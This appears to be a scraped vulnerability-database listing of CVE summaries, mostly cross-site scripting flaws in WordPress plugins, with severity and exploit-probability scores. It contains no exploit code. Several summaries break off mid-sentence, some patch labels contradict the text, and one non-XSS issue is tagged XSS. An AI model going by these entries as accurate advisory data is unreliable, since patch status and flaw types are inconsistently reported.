The Content Staging WordPress plugin is vulnerable to Stored Cross-Site Scripting due to insufficient input validation and escaping via several parameters that are echo'd out via the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS PHP +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Easy Digital Downloads WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the $start_date and $end_date parameters found in the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS PHP +1
NVD GitHub
EPSS 5% CVSS 4.8
MEDIUM POC PATCH This Month

The LearnPress WordPress plugin is vulnerable to Stored Cross-Site Scripting due to insufficient escaping on the $custom_profile parameter found in the ~/inc/admin/views/backend-user-profile.php file. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS PHP +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Simple Job Board WordPress plugin is vulnerable to Stored Cross-Site Scripting due to insufficient escaping on the $job_board_privacy_policy_label variable echo'd out via the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS PHP +1
NVD GitHub
EPSS 1% CVSS 4.7
MEDIUM This Month

This vulnerability occurred due to missing input sanitization for one of the output fields that is extracted from headers on specific section of page causing a reflective cross site scripting attack. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS Database Performance Analyzer
NVD
EPSS 0% CVSS 7.8
HIGH This Week

The HTTP interface was enabled for RabbitMQ Plugin in ARM 2020.2.6 and the ability to configure HTTPS was not available. Rated high severity (CVSS 7.8), this vulnerability is low attack complexity. No vendor patch available.

XSS Access Rights Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

WP Mailster 1.6.18.0 allows XSS when a victim opens a mail server's details in the mst_servers page, for a crafted server_host, server_name, or connection_parameter parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wp Mailster
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue was discovered in Hyland org.alfresco:share through 7.0.0.2 and org.alfresco:community-share through 7.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Community Share Share
NVD GitHub
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